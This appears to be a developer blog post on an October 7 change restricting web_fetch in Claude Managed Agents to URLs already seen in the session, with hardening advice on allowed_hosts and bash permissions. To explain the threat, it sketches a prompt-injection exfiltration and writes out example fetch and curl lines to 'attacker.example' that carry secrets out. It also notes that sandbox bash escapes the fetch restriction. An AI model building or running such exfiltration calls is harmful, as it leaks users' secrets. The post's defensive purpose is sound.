Since October 7, web_fetch in Claude Managed Agents only opens a URL that already showed up in the session through a user message, a search result or an earlier fetch, and links found by bash, read or an MCP tool no longer count.
The same tool on the plain Messages API still accepts URLs from your client-side tool results, so code that moves from one surface to the other can start failing with url_not_in_prior_context.
The rule covers one tool, not the network, so the control that actually limits exfiltration is limited networking with a short allowed_hosts list, and the API defaults to unrestricted if you leave it out.
What changed
Anthropic's release notes for October 7 carry three changes to Managed Agents networking. Two of them are about the environment's allowed_hosts list. The third is the one that will break running agents.
web_fetch now fetches only URLs that already appeared in the session. The release note lists what counts: a URL in a user message, in a web_search result, or in a page that web_fetch returned earlier. It also lists what doesn't: a URL that appears only in Claude's own output, the system prompt, an attached document, or the output of a tool such as bash, read or an MCP tool.
A call for any other URL returns an error result with the code url_not_in_prior_context. The documented workaround is to send the URL in the text of a user.message event. Anthropic's stated reason is fewer ways to exfiltrate data.
The idea makes sense. A prompt injection that tells the agent to fetch https://attacker.example/?d=<your secrets> needs the model to build that URL itself. If the fetch tool only accepts URLs that came from somewhere upstream, the model can't make one up.
Where it bites
Look at the list of sources that no longer count. It describes how most production agents actually find links.
A support agent pulls a Zendesk ticket through an MCP server. The ticket contains a link to the customer's status page. On October 6 the agent could fetch it. On October 7 the call comes back as an error, because the URL arrived through an MCP tool result.
A coding agent runs grep across the repo and finds a link to an internal API spec in a README. It reads a package.json with a homepage field. It cats a config file. None of those URLs are fetchable now. The same goes for any document you attached to the session, which surprised me more than the tool rule did.
The model will usually recover. It sees the error, and in most cases it searches for the page instead, which works if the page is public and indexed. Internal docs and anything behind a long, specific path won't be. Then the agent either gives up on that step or reaches for the other route to the internet it has.
Two rules with the same tool name
The plain Messages API has had a version of this restriction for a while. Its docs list URLs in user messages, URLs from previous search or fetch results, and URLs in client-side tool results as fetchable. The docs go further and say client tool results count even when they echo text Claude produced.
Managed Agents now draws the line in a different place. Its built-in tools (bash, read, grep) run in Anthropic's sandbox, not in your code, and MCP tool output was already excluded on the Messages API side because the MCP connector runs on Anthropic's servers. So on Managed Agents almost every way a URL can enter the context, except the user and the web tools themselves, is excluded.
If you prototyped on the Messages API with your own tool loop and moved to Managed Agents to stop running that loop yourself, the same prompt and the same tool name now behave differently. The release note doesn't say how custom tools are treated, the ones your application executes and returns results for. They are the closest thing Managed Agents has to client-side tools. I'd test that before relying on it in either direction.
Curl doesn't check prior context
The release note leaves one thing out. The prior-context rule applies to web_fetch, a server tool that runs on Anthropic's side. It does not apply to bash running in the sandbox.
If the sandbox can reach a host, curl https://attacker.example/?d=... works, and the model can build that URL any way it likes. Anthropic's environment docs are direct about this. Network access is granted per host, not per operation, and a prompt injection can use any allowed host to copy files out.
What decides how far that goes is the environment's networking mode. With limited networking and an empty allowed_hosts, the sandbox reaches nothing beyond the package registries and MCP servers you explicitly allow. With unrestricted, it reaches almost everything except a general safety blocklist.
And the default for an API request that leaves out networking is unrestricted. The Console form starts on Limited. The API does not. An environment created from a script that copied an early quickstart is very plausibly running wide open, with a fetch tool that now politely refuses made-up URLs and a shell next to it that doesn't.
So the October 7 change closes the easier path for a fetch-based exfiltration and leaves the bash path exactly as wide as your environment config. Agents that hit the new error and fall back to curl aren't misbehaving. They're using the tool you gave them.
The other two changes are the useful ones
The same release made allowed_hosts apply to web_search and web_fetch when networking is limited. Before, those tools ran on Anthropic's servers outside the sandbox's network rules, so a locked-down environment could still fetch any public page. Now a fetch to an unlisted host returns url_not_allowed, and search drops results from unlisted hosts.
Two details matter when you set this up. allow_package_managers and allow_mcp_servers add nothing for the web tools, so an environment that relied on those flags and has an empty allowed_hosts now gets no fetch or search results at all. And every host you add to allowed_hosts for the web tools is also open to bash in the sandbox. There is no host that's open to web_fetch but closed to curl.
The second change is a validation check. If a tool's allowed_domains lists a host that isn't inside allowed_hosts, session creation fails with a 400. Watch the matching rules: a tool domain covers its subdomains, but an allowed_hosts entry matches one exact host unless it starts with *.. So docs.example.com in the tool list does not fit inside ["example.com"] in the environment. Sessions that started fine last week can now fail at creation.
What I'd change this week
Check every environment you created through the API for an explicit networking block. If it's missing, you're on unrestricted. Recreate it as limited with the hosts the agent actually needs.
Search your session logs for url_not_in_prior_context errors since October 7. Each one is a link your agent used to follow. Where the link is legitimate, either put it in the user message, put the host in allowed_hosts and accept that bash can reach it too, or have your own code fetch it and pass the content in.
Set the bash permission policy to always_ask or auto on any agent that reads untrusted input: tickets, emails, scraped pages, third-party repos. That's the tool the fetch restriction doesn't cover.
And run the agent once with an environment that has limited networking and an empty host list. Whatever breaks is the real list of hosts it needs. Everything else on that list is a door you're keeping open for no reason.